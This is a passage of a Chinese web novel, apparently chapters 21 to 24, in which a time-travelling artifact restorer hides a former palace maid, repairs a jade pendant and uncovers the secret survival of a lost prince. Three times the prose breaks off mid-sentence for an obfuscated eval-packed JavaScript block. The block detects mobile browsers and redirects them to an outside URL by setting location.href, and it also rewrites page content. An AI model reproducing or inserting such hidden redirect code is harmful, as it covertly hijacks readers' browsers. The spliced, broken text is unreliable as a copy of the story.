这是……小明的姑姑? 女子嘴角噙着笑,笑得温婉,若谢筠熙初见她那日只能瞧出她的慌张,那么此刻平静如水的女子倒是让谢筠熙感受到了一些与寻常农妇全然不容的气质。 “打扰了。”姑姑向谢筠熙行了一个意外标准的见面礼。 “这位姐姐……您找我有事吗?”谢筠熙还记得那日见她是戴着面具的,因此没有直接表明身份。 “妾看老板似乎打烊了……是否太过叨扰,要不妾还是等老板重新开张再来吧。”女子脸上流露出失望的神情。 “呃……没事,你正巧赶上了我要收工之前的最后一单,且进来吧,让我看看怎么个事。”谢筠熙见是熟人,不太好意思开口拒绝,又将刚锁上的门打开,把女子请进了屋里。 “老板叫妾藜秋便好,那便先谢过老板了。”女子喜出望外,慌忙跟着谢筠熙一同回到屋里。 将门掩上,藜秋从怀中拿出一块用丝缎包裹得很好的器物,盛到谢筠熙跟前:“听闻熙老板有一手十分了得的修复技艺,妾闻声而来,想请老板看看这玉佩能否修好。” 谢筠熙初见那丝缎时已是眼前一亮,再见里面包裹的玉佩,顿时觉得不可思议:这是……金边柳叶佩吗? 谢筠熙从前接受文物修复任务时似乎有接触到这件文物…… 当时考古学家是从一处与辰皇陵相距较远的泥地里掘出来的,几乎可以称得上是意外之喜。 谢筠熙第一次见到它的时候,便觉得佩戴它的人在辰朝必定是个权高位重之人,只是因为发现位置过于偏僻考古学家并不能确定它的主人究竟是谁,如今这件事物就这样呈现在谢筠熙面前,让她不由有些激动。 顺着谢筠熙的目光看去,此刻这枚玉佩破碎了一角,看上去有碍观瞻,碎掉的残片也被仔仔细细放好,谢筠熙不敢随意接过,只能叫藜秋小心些放到桌案上。 “老板,前些日子妾不小心将它磕坏了,这可如何是好。”藜秋坐在谢筠熙才端来的椅子上,有些哽咽。 “藜姐姐莫急,若藜姐姐不急的话,后日来拿便好,届时它定然完完整整出现在姑娘面前。”谢筠熙许诺。 藜秋听罢喜出望外,冲谢筠熙投以感谢的目光。 “可以问问姑娘是从何处得到这样贵重的配饰吗?” 此话一出,藜秋的脸色有些不太对劲,谢筠熙见状赶忙改口:“不好意思啊藜姐姐,是我唐突了,若是你不愿说我便不问了。” “不好意思啊老板,这枚玉佩的确不是妾的,但是妾不能告诉老板关于它的来历。”藜秋松了一口气。 “嗯嗯……”谢筠熙一阵尴尬,只能埋头检查这玉佩的损坏程度。 坐在对面的藜秋有些紧张地抠着手指,让谢筠熙心生疑惑,但她什么也没有说,只是温声向这个局促的女子答复:“藜姐姐,此刻夜已有些深了,不如姐姐先回去?” 藜秋愣了愣,有些颤抖着起了身,又同谢筠熙行了告别礼,离开时却是一步三回头,双眼没有离开那玉佩半分。 谢筠熙愈发觉得这玉佩后面的隐情有些不容小觑,直到藜秋离开了自己的铺子,谢筠熙这才再次往门上挂上了“歇业”的牌子,人却没有离开半分。 既然如此……今天还是通宵吧…… 谢筠熙穿越之前也经常如此工作,每次学生去找她的时候,即使是在深夜,修复室的灯也依旧常亮,如今到了古代,这个习惯依旧没有被改掉。 正当她思量着要如何修复玉佩的方案时,她却拿自己手搓的放大镜发现了一丝玉佩的异样之处。 这枚柳叶状的玉佩,就在它镶金的边上,有两个十分不起眼的竖排小字,属的似乎是人名,辨不太真切,但隐隐能看出来一个“赫”字,还有一个字似乎被什么东西刻坏了,显得有些乱。 “真是奇怪。”谢筠熙百思不得其解,但是当务之急只能先把这个玉佩修复完整了。 大辰开放了夜市,沐柳巷也是如此,黑夜之中,这些夜市忽明忽暗的灯光模模糊糊流动在夜空,也端的是人声鼎沸,谢筠熙的铺子在市集之中却静悄悄的,只有屋里的一盏烛火轻轻晃悠着,映过谢筠熙专注但略显疲惫的双眸,等待着白晓的到来。 好在修复玉佩的这几日无人来打扰,那三皇子应当是在有事在忙,不过谢筠熙也无暇管这些了,因为当她看见藜秋来取物时那落魄万分的模样,着实有些诧异,与之而来的,就是一阵不祥的预感。 “藜姐姐这是怎么了,快坐快坐。”谢筠熙把藜秋请进铺子,刚要关上门,却看见了在藜秋身后追着的那一帮人。 “熙老板,求你带走那枚玉佩,千万不要被那帮人发现……玉佩不能在我手里。” 谢筠熙心中顿时警铃大作,她来不及思考这话中的含义,急忙打开提前拜托艾诺打造的密道,匆匆忙忙先把藜秋送了下去,又自己跳下,将暗道的门合上。 “熙老板的店里竟然暗藏玄机吗?”藜秋下去的时候有些震惊,但她随即想起玉佩,有些慌张地询问,“老板,妾那枚玉佩?!” “放心,我一直贴身放着。”谢筠熙拍了拍胸脯,示意藜秋放心。 “多谢。” 两人说完这句,便不敢再发出言语,因为此刻暗道之上的板砖发出了很多脚步声,密密匝匝的震动从头顶传来,谢筠熙和藜秋只能屏气不语。 紧接着就是翻找的声音,谢筠熙明显地听见了有人在砸东西的声音,还有一些低沉的咒骂,这让她的心正在滴血。 强盗啊啊啊这就是强盗,怎么可以这么对我的铺子!!!还好前两日将街坊邻里的任务给交代完了,不然我赔大发了啊啊啊啊啊,那些从艾诺家要来装饰的名贵器具……我完了,这下倾家荡产也还不起他们家了…… 地底下静悄悄的,只有谢筠熙默默碎掉的声音,藜秋满含歉意的双目望向谢筠熙,她也没有察觉到。 好不容易等脚步声散去,谢筠熙这才小声在藜秋身边附耳:“藜姐姐,此地已然不安全了,我们得换个地方,跟我来。” 谢筠熙牵住藜秋的手,将她往更深处拉去,两人在地道里倒腾了一阵,终于从艾诺家的后院里冒出头来。 刚一上地,谢筠熙便直奔艾诺的房间,她知道这个地道不能再留,而她的铺子估摸着也是保不住 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16382512|183262||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。 艾诺见到慌慌张张地牵着一人飞奔而来的谢筠熙,先是一惊,而后又默契地同谢筠熙交换了一个眼神,赶忙将自己的门关得严严实实。 但是没有想到的是,蕙兰此刻也待在艾诺房间里,见到自家小姐,先是一阵激动,但是看见她拉着的人,表情却变得有些震悚。 “藜姐姐!!?”蕙兰失声叫了出来。 这下轮到谢筠熙和艾诺一脸懵了。 “蕙兰?你竟然没死?”藜秋也是一惊,随即立刻冲上前去,将蕙兰狠狠搂紧怀里。 “艾诺,这几日我必须把铺子关了,这铺子再也留不得了,地道你也赶紧遣人毁了,我怕出事牵连到你们家。”谢筠熙摇着艾诺交代了这一些噼里啪啦的话语,然后将脑袋有些晕乎乎的艾诺撇到一边,又插到了蕙兰和藜秋二人之间。 “等一下等一下,二位可否解释一下究竟是怎么一回事?” 谢筠熙如同一只无头苍蝇,这边说一句,那边又说一句,屋里面的女子们俱是处于一种慌乱之中,场面一度十分混乱。 还是艾诺先开口:“小今安,你们三个先聊,我去办你说的事去了。” 谢筠熙也没时间抽出空来,只能草草点了点头。 “小姐……蕙兰其实一直没有告诉你一件事,从前蕙兰还未来到丞相府时,是宫中之人。” 蕙兰带着哭腔有些歉疚地冲谢筠熙解释。 “老板是谢相之女?!”藜秋今日真是惊上加惊。 谢筠熙此刻好比陷进棉花里,一脚踩不到地,连大脑也是轻飘飘的,但她强迫自己冷静下来,先制住场面,她没有立刻回答藜秋的话,只是把椅子搬来,三人面对面坐着,开始了谈话。 “首先,蕙兰从前是宫女,也就说明,藜秋姐姐也是?” 谢筠熙竖着食指从蕙兰指向藜秋。 “嗯……是的,小姐。”藜秋知道谢筠熙真实身份后,也跟着叫起来。 “好,接下来,蕙兰你说你是怎么来到相府的?” 蕙兰绞紧了手中的绣帕,不敢直视小姐的眼睛:“柳贵妃难产而死那日,陛下大怒,下令处死所有在场的宫女和太医,奴婢就在其中,但承蒙谢相庇佑,以一己之力劝住了陛下,奴婢才免于丧命,只是陛下依旧下令遣散所有人,谢相救了我与众多姐妹,将我们收入相府为奴为婢,这才有了一口饭吃,不至于流露街头。” “陛下知道这事吗?”谢筠熙的心揪了起来,忽觉大事不妙。 “陛下也知那日太过冲动,只是君令难收,他也知道谢相做的事,只是睁一只眼闭一只眼而已。”蕙兰点了点头。 吓死我了……差点以为谢老爹犯了欺君罔上的罪证,不然可是一点都捞不回来了。 “那藜秋姐姐呢?”谢筠熙转向一边低着头的藜秋。 “我是伺候贵妃生产的宫女,不是在室外蹲守的,因此被罚得更重些,也没有同蕙兰一般幸运。” 藜秋停顿了一下,看上去有些犹豫,心里挣扎了一番,才继续说道:“其实……当时在宫中,柳贵妃的孩子并没有死……” 谢筠熙突然联想到了什么,恍然大悟:“是小明?” 藜秋猛然抬头,但最后眼神又淡了淡,咬紧下唇点了点头。 谢筠熙做出了果真如此的神情,将贴身放好的玉佩从怀中掏了出来,放到桌上。 22. 修罗场 “展开讲讲吧,藜秋姐姐。”谢筠熙看向眼前这个略显紧张的女子。 藜秋仍然没有抬头,几乎将下唇咬出血来,犹豫再三,最终还是决定把真相和盘托出。 “其实……小明……哦不,九皇子是柳贵妃嘱咐我们带出宫的。” 谢筠熙饶是料到其中必有内情,但万万没有想到竟然是柳贵妃本人的要求:“我们?” “是妾和妾的娘……柳贵妃救过我们的命,大恩无以为报,柳贵妃同我们说这事时,我们就已经决定拼死也要将九皇子带出去了。” “当时宫中知道此事的人有多少。”谢筠熙指节轻轻敲着桌面,满脸严肃。 “回小姐,仅有妾和妾的娘,还有……” “接生的稳婆?!”谢筠熙想起之前赵泓玉告知的秘辛一角。 “小姐聪慧,正是如此。”藜秋的眼里闪过一丝惊讶。 “如今看来一年之前就不止你们几个知晓此事了。”谢筠熙深觉此事背后的漩涡绝不会如此浅显。 “告知皇帝的人是稳婆的女儿,此事你知道吗,藜秋姐姐?” 这次藜秋没有再低头,她的眼里写满了不可置信:“此事陛下尚未外传,仅有皇室之人知晓,小姐您是,如何得知的?” 谢筠熙突然意识到自己把问话推进得太快,内心莫名的激动被她生生抑住,她轻咳几声,把手放回膝盖上:“咳,之前查一些事情的时候偶然得知的……” “罢了罢了,事已至此,但说无妨。”藜秋叹了一口气,“如今怕是全京城的人都知道陛下在寻遗子了,贵妃一事,迟早会被陛下得知,届时……” 藜秋变得惊恐起来,似乎是想到了一些不堪设想的后果。 “姐姐你是故意将那玉佩磕破给我的吧,若是此物被查出来,必然是遗子在世的关键证据。” “没错,有一件更不妙的事,小姐。”藜秋站起身,走到谢筠熙跟前结结实实跪下。 这将谢筠熙吓了一大跳,她赶紧将藜秋扶起,却见她的眼角泪光闪闪。 “姐姐你别这样,快起来说。” “小姐,这玉佩本是有两枚,镶金处一枚在上一枚在下,在上的是给九皇子的,而在下的是贵妃自己的,如今镶金在下的那枚……似乎被妾粗心弄丢了。”藜秋哽咽着,几乎要被愧疚淹没。 竟然有两枚?!谢筠熙分明记得最后展出的文物只有一枚,细细想来,似乎是镶金在下的那枚…… “小姐,您同谢相一般是顶好的人,求小姐救救妾……也救救九皇子……”藜秋抹着泪,到最后几乎说不出话来。 怎生又扯上谢相了……谢筠熙还没来得及问出口,就被藜秋握住了双手。 “姐姐,小姐一定会有办法的,莫要再担心了。”蕙兰默默听了许久,也上前来安慰藜秋。 谢筠熙顿时压力山大,但此刻只能硬着头皮答应藜秋:“藜姐姐,若可以我一定会尽力帮姐姐的。” “真的吗!妾无以为报,日后小姐所吩咐的事,妾必拼死做到。”藜秋不顾谢筠熙劝阻,又跪下磕了个头。 谢筠熙有些无奈,却突然想到一件事,她慌忙把藜秋又扶起来,仔细问着:“藜姐姐,贵妃为何要将九皇子送出宫?” 藜秋这次却摇了摇头:“贵妃并未告诉妾原因,,妾也不敢过问。” “这样……好吧。”谢筠熙只好暂时将此事搁在心里。 “小今安!密道已经遣人去封啦!”艾诺的声音适时响起来,将屋内凝重的气氛打破了几分。 艾诺这样的人物,放在现代可以称得上是“概念神”了吧…… 谢筠熙日常感叹,嘴上却夸赞不已:“小诺我可以永远相信你的效率!” 艾诺一进门,也就代表着谢筠熙与两位曾经的宫女彻底结束了谈话,因为事发突然,藜秋需要在艾诺家暂住几日,顺理成章的,她被安排到与蕙兰同住一屋。 谢筠熙也决定最近前去探探风头,不再窝在沐柳巷,店铺在艾诺的帮助下被关闭整顿,出租他人,最过伤心的应当就是当铺和书肆的老板,但谢筠熙此刻也无暇同他们解释原因。 离开艾诺家的前一日,谢筠熙文问了藜秋最后一个问题:“九皇子如今身在何处?” 藜秋如实回答:“妾将九皇子暂时交予可信任之人的手中了,也是贵妃旧仆,与妾一般,绝无二心。” 停顿了一会,藜秋突然嘱咐:“小姐,您要小心那位少卿大人,他似乎是三皇子的人……” 谢筠熙莞尔一笑,心下了然,知道藜秋已知道那日报官带面具之人就是自己:“放心,我有分寸。” 说罢又披着她那伪装潇洒离去。 只是她直奔的地方,正是那位危险的少卿大人所在的大理寺。 不入虎穴,焉得虎子。 谢筠熙在心里为自己解释。 等谢筠熙到了虎穴门口,却尴尬地发现了一件事。 这俩人怎么在一块啊?!谢筠熙前脚决绝,后脚停顿,还没来得及反应,就听见笑盈盈那人又冲自己喊了一句:“熙老板!稀客稀客,可算把你等来了。” 与之相对的还有一尊黑脸的大佛正拿审视的目光看向谢筠熙。 这阵仗……我怕是小命不保。 谢筠熙深感绝望。 “呃哈哈哈哈哈,今天大理寺挺热闹啊,要不我先不打扰二位了,先走一步?” 谢筠熙言出必行,正要脚底抹油溜走,却被不知从哪冒出来的花昀拦了个正着。 “早啊,许久没见你来找老大了。” 谢筠熙被吓得当场蹿出三尺远。 定眼一瞧,他的身后还跟着陆贰和徐柒。 呦呵,今天怎么人到的怎么这么齐?这不对吧…… 谢筠熙如同风中残烛摇摇欲坠,这下走也不是,不走也不是,就这样沐浴在一群等着她发话的男人视线里,脆弱地风一吹会化灰散去了。 “你要在那杵到几时啊?”李时丰的突然发声拯救了即将风化的谢筠熙。 “那个,啊哈哈哈哈,这就来,这就来。”谢筠熙赶忙上前,无视了赵泓玉那如芒刺背的目光。 “见过殿下,见过少卿大人。”谢筠熙向两个大人行礼,而后继续不安地杵在两人跟前。 “谢,今,安!你是木头吗?”李时丰实在忍无可忍。 “好了好了,熙老板这是见到本王有些拘谨了,更 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16392840|183262||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 何况是在心上人的面前呢~” 赵泓玉意有所指地看了看花昀的方向,毫不留情面地火上浇油。 这个赵泓玉!!!谢筠熙的想象图中,三皇子已经被自己千刀万剐了。 李时丰的脸色在赵泓玉的拱火之下变得比锅底还要黑,这让谢筠熙着实有些两股战战。 不对啊……赵泓玉此言为什么李时丰这么生气啊,虽然我是胡扯的,但是我喜欢谁跟他有什么关系? 难道…… 他怕我有了心上人之后就不好好和他合作,影响他的工作效率?! 谢筠熙被自己天才般的想法惊到了,她的心里亮起了一盏小灯:一定是这样! “大人……殿下一定是误会了什么,小女子怎么会有心上人呢,一定是殿下听岔了。” 谢筠熙在绕着李时丰转了半周,最后停在离李时丰的那把横刀最远的位置心虚的地摸了摸鼻子。 “你喜欢谁与本官何干,若是没有什么重要的事,就不要在本官面前碍眼了。”李时丰哪里不知道谢筠熙的小心思,但只是冷冷瞥了她一眼。 “噢噢好……小女是有事来找大人商议的。” “那便坐。”李时丰指着桌案旁不多不少的三把椅子道。 “谢过大人。”谢筠熙没再客气,话音刚落就已落座。 方才一同进来的下属三人组却并没有离开。 谢筠熙用眼神示意李时丰,但李时丰跟瞎了一般无视谢筠熙的暗示。 搞什么?李时丰今天这是怎么了。 半晌李时丰却突然下了一个奇怪的命令:“花昀,你去把那帮拐子上呈的证物取来。” “是,老大。”花昀没有二话,立刻就走。 倒是赵泓玉瞥了一眼李时丰那苦大仇深的模样,不由在心底暗笑。 谢筠熙对此不以为意,只是在心里默默替自己解释:没准是因为我来的时间不凑巧,这几个人有事要谈……罢了罢了…… “大人最近可有关于纵火案的线索吗?”谢筠熙起头,企图打破这诡异的气氛。 “此案事关重大,不好立刻介入查证,虽然陛下说要翻案,但目前只能做暗访,不好把此事拿到明面上办。”李时丰好歹也是接了话。 “先不管纵火案的事,熙老板,眼前还有一件更加值得关注的事,那便是我托你们办的……” 谢筠熙一怔,只能止住原本的话头:“殿下可有眉目?” 赵泓玉没有接话,变戏法般不知从何处掏出一把素雅的玉骨扇来,“唰”一声打开,在那轻轻扇着。 说实话谢筠熙觉得这货绝对是在装深沉,但是她一看到那扇子的形制与品质,一眼便能断定此扇价值连城。 李时丰就这么看着谢筠熙的眼睛几乎要黏在赵泓玉身上,不知为何心情更加烦闷,他不爽地从衣兜里掏出一块东西扔到桌上,触碰到木案的那一瞬发出了很响的撞击声。 这一声把堂中所有人的目光都吸引了过去,谢筠熙看到那物的一瞬间,表情顿时变得微妙了起来。 难怪我来的路上右眼皮一直在跳,原来这这等着我呢! 桌上的事物,正是藜秋嘴中那块遗失的金边柳叶佩。 23. 一直在讲正事(才怪) 李时丰发现谢筠熙自打看见那块玉佩后,脸色都变得不对劲起来,这让他立刻心生疑惑,但因为衡王在场,并未声张,只是在心里猜测:谢今安一定知道些什么。 此女静悄悄,必然在作妖…… 果不其然,沉默的谢筠熙偷瞄着赵泓玉的脸色,下一秒就“噌”得从座上立起来,正当李时丰猜着她下一步要做什么,谢筠熙却一把握住了赵泓玉那只握着扇子,因为用力更显骨节分明的手,又顺便敲敲摸过扇柄,狠狠揩了一把文物的油,半身微倾略过李时丰,顺势轻轻晃了晃。 李时丰的脸瞬间拉了下来。 赵泓玉那老谋深算的脸难得看到一丝僵硬,摇扇的手定在半空中,非常不理解谢筠熙的所作所为。 谢筠熙正打算搞事,嘴角的弧度还没扬起来,就感到自己的手背传来一阵剧痛。 “既要说事便好好说,谁准你对殿下如此冒犯。”李时丰的动作比思考还快一步,抽出刀柄对着谢筠熙的手就是一敲。 痛痛痛痛痛痛!!!!! 谢筠熙饶是装得再镇定,眼角生理性的泪珠还是沁了出来。 她迅速抽回自己被敲疼的手,心疼地吹了吹,红着眼眶就对李时丰抱怨:“大人,您说一声便好了,何必如此对小女子,真的很疼欸……” “若是放在宫中,下一秒你的脑袋就该飞了,本官这只是略施小惩,你该庆幸。”李时丰目视前方一板一眼地说着。 谢筠熙狠狠咬紧了牙关,鬼知道花了多大力气克制住想要锤李时丰的冲动,才挤出一个假笑来:“大人说得对……是小女子冒犯了,还望殿下恕罪。” 后半句谢筠熙是对着赵泓玉说的,只是她低着头的时候,并没有看见赵泓玉正拿着扇子挡住嘴,企图遮挡自己看热闹看得正愉快的模样。 “无碍无碍,熙老板还真是吓了本王一跳。”赵泓玉移开扇子,又是那端庄得意的微笑,他对着谢筠熙说完这句,又转向李时丰,满脸的责备,“时丰,这就是你的不对了,怎可对姑娘家家的下这么重的手,小心娶不到夫人。” 李时丰分明看见赵泓玉提到夫人的时候,又往谢筠熙的方向瞥了一眼。 李时丰嘴角微微抽动,很是无语:早知道跟陛下进言找神医替这龟孙瞧瞧脑袋了…… “就是就是。”谢筠熙还敢认同赵泓玉的后半句话。 李时丰翻了个白眼,又在刚刚的腹诽后加上了一句:差点忘了这个祖宗,一起看看才行。 “好了,不闹了,说正事,熙老板方才究竟是要说什么?”赵泓玉几乎是一秒就变正经起来。 谢筠熙眼见着又要上手,李时丰一记眼刀把谢筠熙的爪子瞪了回去,她悻悻看了眼李时丰,只得收手和赵泓玉保持正常距离说话:“殿下,小女子想问问您,这枚玉佩您知道是谁的吗?” 赵泓玉歪头:“知道啊,柳贵妃的,宫里的人都知道,此乃柳氏女子一脉的祖传之物。” 竟然还是祖传……可是为何有一枚是在小明那里?莫非是贵妃另有深意? 谢筠熙对此深表疑惑。 “原来如此,那我斗胆问一句,殿下可知,九皇子是如何悄无声息在圣上眼皮子底下出宫的吗?” 赵泓玉眼神犀利起来,嘴角若有若无的笑意彻底消散,他合起扇子,看向谢筠熙的双眼不再带着调侃:“熙老板,此处乃天子脚下,凡事说出口时,还是得思考再三才好啊。” 谢筠熙浑身一泠,但想到藜秋和小明,倔强地没有被威慑:“殿下,你且说便是,此处又没有旁人。” 说完这话,谢筠熙偷偷瞟了几眼陆贰和徐柒,却见这门神二人组正兀自蹲在角落干事,仿佛对这边讲话的三人丝毫不在意。 赵泓玉同谢筠熙的对峙让在场的第三人感到不对劲,李时丰原本只是垂首听着这两人的对话,但如今谢筠熙这个态度她显然知道一些事情,但是并不想立刻告知衡王。 半晌,赵泓玉笑了,他把玉骨扇放到桌案上,叹着气靠到椅背上,对谢筠熙的胆量又有了新的认知。 “熙老板这话要是说出去,入了圣耳,那便是暗讽天子无能,连自己的皇子都看不住,这可是杀头的大罪,熙老板可真是直率得让本王叹为观止。”赵泓玉转着自己的玉扳指,慢条斯理地说出了一些惊天动地的话。 谢筠熙自然知道赵泓玉的意思,只是没有想到他竟然会解释:这货分明比我狂多了。 李时丰此时恨不得捂住眼前这两人的嘴:“说正事!” “行!时丰都这么说了,那,熙老板,本王告诉你,全宫上下,只有做过此事的人才知道内情,除此之外,无人可知,包括……”赵泓玉说到这,突然闭口,接着又无声地做了个“陛下”的口型。 柳贵妃未免太过厉害!谢筠熙无法想象一个在深宫的女子究竟是如何办到的这一切。 “老大,证物属下取来了。”花昀适时打断了这一场对话。 所有人的目光都看向他。 这让他有些二丈和尚摸不着头脑,但饶是他再心宽,也察觉到了一丝不对劲:“属下这就走,各位接着说。” 花昀本想放下东西立刻离开,却被赵泓玉叫住了:“等一下,别走啊,有事问花兄。” “殿下叫属下有何事?”花昀有些不知所措,清俊的面上流露出不解。 “你可有心仪之……” “唔唔唔……怪甜的。” “殿下,我们在聊正事,您再这样,属下就要把您赶出去了。” 赵泓玉露出他那标志性的坏笑正要搞事,就被李时丰不知从何处掏出来的糖块堵住了嘴。 谢筠熙登时松了一口,头一次对李时丰投以感激的目光,谁知刚和李时丰对上目光,就感受到他对自己恶狠狠的警示意味。 就这么怕流失我这个合作伙伴吗?亏得之前说我没用,原来是在默默认可我的能力,李时丰,看透你了,就是个心口不一的领导。 赵泓玉嚼吧嚼吧好不容易把糖块咽下了肚,兴致尽失,只好挥挥手让花昀如愿离开。 这下三人终于能好好坐下说话了。 谢筠熙注意到花昀拿过来的东西里有不少与查香楼案时得到的册子相似的证物。 她随手拿了几本看,发现里面都有烧着的痕迹,甚至好几本都缺页漏页,很是残破。 果真不止一本,这上面的划痕也在逐渐变多…… 谢筠熙翻到某本某页的时候,突然发现了一段与那些粗野字体截然不同的记录痕迹。 “大人,这里的记载为何如此清晰?” 李时丰接过册子,顺着谢筠熙指着的地方望去,心下了然:“这是郭睿的字迹,我们对比了他的科考卷子确认的。” 谢筠熙听到这个名字,心里咯噔了一下,紧接着就联想到秋芸曾讲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16409049|183262||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到自己被养父卖掉的一些细节:“为什么?郭睿也是这帮人的其中一个?” “目前看来,应当是如此,不过此事还有颇多存疑之处。” “不知大人是否还记,那意外发现……不对,如今看来有些刻意让我们发现的第二具尸体。” 李时丰的眉峰微蹙,听到谢筠熙的这句提醒,忽而想到那刘樟的同乡来:“那人说……死者找到了除了科举以外的道?” “此‘道’为何?我现在有些怀疑,是否同郭睿一般是以害人来谋财的‘道’了。”谢筠熙的表情有些凝重起来,“大人您想啊,他是不是经常光顾香楼?明明背井离乡身无分文,又没有什么成绩,却依旧能在京城之中吃饱穿暖,甚至又嫖又赌。” “照熙老板这么说,这批考生里面,如果同刘樟一般的人不止一个,既与这所谓的得道有关,又牵扯上了香楼,那……”赵泓玉捡起扇子一敲手心,“岂不是与拐子案的幕后之人也有联系?!” “殿下对控制香楼实权的人可有眉目?”谢筠熙问得很突然。 “有是有一些,但是不可说,而且本王觉得本王所知道的应当只是表象。”赵泓玉似答非答。 好好好,迟早会知道的,这人真是神秘得不行。 “那你到底知不知道我是谁?别骗我了殿下。”话题突然被谢筠熙偏到这里。 “他知道,别问了。”还没等赵泓玉发话,李时丰先开口。 赵泓玉对李时丰这番出卖自己的话语感到气愤,他张着的嘴还没合上,又觉得自己嘴里传来一阵甜味,紧接着那双手把自己下颚合上。 “好了,我就知道,殿下请吃糖。” 这次是谢筠熙。 除了李时丰,所有人都被谢筠熙胆大包天的举动吓了一跳。 赵泓玉心道:还说这俩人没有奸情,这不合起伙来欺负我欺负得挺顺手嘛。 “谢今安,不可对殿下如此无礼。”李时丰的语气官方得如同人机。 “不好意思啊殿下,是小女子放肆了。”谢筠熙眨了眨眼,冲赵泓玉抱歉的一笑。 “好啊你们……唔……”赵泓玉将糖块吃完,咂咂嘴觉得有些好笑,转头对李时丰提出请求,“时丰,这糖味道不错,能不能直接给本王一份。” “今日正事谈到这为止了,殿下?”李时丰当着赵泓玉的面挥了挥手。 “……除非熙老板还有?” “我没了我没了。”谢筠熙疯狂摆手。 实际上今天只是先来确定贵妃的事是否暴露…… “住这?”李时丰挑眉,显然是冲着谢筠熙的。 “呃……也行吧。”谢筠熙心里叫嚣着“不入虎穴焉得虎子”,勉强答应了。 “也罢,你可以将此物清理干净了。”李时丰望向桌上那块玉佩。 合着把我当钟点工呢?谢筠熙汗颜,但依旧点头答应。 “不过明日本官和殿下要去一趟城西。”李时丰停顿。 “嗯……嗯?!”谢筠熙突然睁大了双眼:城西?是藜秋和小明的家!?不好不好。 “恳请大人让我也一同去!”谢筠熙叫起来,马上就要同李时丰行上大礼。 “去便去,给本官起来。”李时丰早知如此,一把将快要匍匐在地谢筠熙从地上薅起来,嫌弃地扔到椅子上。 赵泓玉:不对劲不对劲十分有九分的不对劲…… 24. 城西 是夜,谢筠熙依旧是在侧厅处理那块玉佩,而赵泓玉和李时丰则待在正厅处理要务。 “时丰,谢今安显然知道些什么,为何你还要同意带她去城西?” 赵泓玉支着胳膊看李时丰翻卷宗,眼里的探究欲呼之欲出。 “既然她知道些什么,但是又不肯说,把她带去城西,就她那行事不按常理的性子,迟早能套出些什么来。”李时丰不紧不慢地说着,把赵泓玉逐渐凑近的脑袋狠狠往外一撇,直把赵泓玉推得嗷嗷叫。 “下手真重啊,时丰,你小子对谢今安绝对不安好心。” “是是是,不安好心,安的是什么心全凭殿下自己揣度,下官没法给殿下回答。” 赵泓玉恬不知耻地又从李时丰身边拿起一卷册子,将它卷成筒状,一边敲着手心,一边来回在李时丰身边踱步:“听见本王说花昀是谢今安的心上人,你那个反应……不像是正常人能有的,而时丰你死活不让本官提这件事,更加说明心里有鬼,如此得出,时丰你对谢今安有爱……” “殿下要是觉得闲,可以先去屋内歇下了,明日还要赶去城西呢。” 李时丰被赵泓玉晃得心烦,索性打断他说话,想把他赶离正厅。 “看吧,你又不让本王说,果真啊果真……”赵泓玉放下册子,又在一旁神神叨叨。 “赵泓玉!”李时丰直呼名讳。 “哎呀,本王不说便是了,告辞告辞,时丰记得也早些歇下。”赵泓玉吐了吐舌头,捂嘴笑着离去。 待到赵泓玉离开,只留李时丰一人,那怪异的感觉又涌上心头。 谢今安如今在自己心里,究竟算是什么人? 一她不是大理寺的衙役; 二她此刻尚为罪臣之女; 三此人疑点重重,且不说性格大变,这一手精湛的修复技艺又不知从何而来…… 那么为何本官却可以一二再,再而三地容忍她逾矩的行为,甚至不介意她时常在本官面前晃呢? 李时丰翻卷宗的动作顿了顿,脑中突然浮现这一堆莫名其妙的疑问来。 因为本官与她有一样的目的? 罢了罢了,许是今日被赵泓玉那家伙带歪了思绪,今日那包糖就应该全部都塞进他嘴里,齁不死他…… “阿嚏!”客卧的赵泓玉打了个喷嚏,一脸莫名。 待到整个大理寺只剩下守夜衙役点亮的油灯,黑色的夜幕沉沉地压下来,将京城笼罩在一片灰暗之中,人们躺在榻上歇息,浑然不觉京城的诡谲云涌,只知道明日一早起来又得过日子,又得为生计四处奔波…… 次日,天刚翻了鱼肚白,谢筠熙就从自己的工具堆里爬起来,揉了揉睡出红印的脸蛋,一想到今天的行程,心里既激动又害怕。 喜的是如今借李时丰之手终于可以去城西验证藜秋所说的事情;怕的是就怕二皇子的人捷足先登,小明已经被强行掳走。 这景王夺嫡的念想都已经开诚布公般透明了,衡王却是暗戳戳地搞事,俩同父异母的兄弟都不是什么善茬…… 可这几日与赵泓玉相处下来,无论如何赵泓玉都不像是个甘愿被流放远疆的,此事定有隐情,或者说……有人从中作梗。 谢筠熙刚起床,就来了一段头脑风暴,将这几日的见闻又好好梳理了一遍。 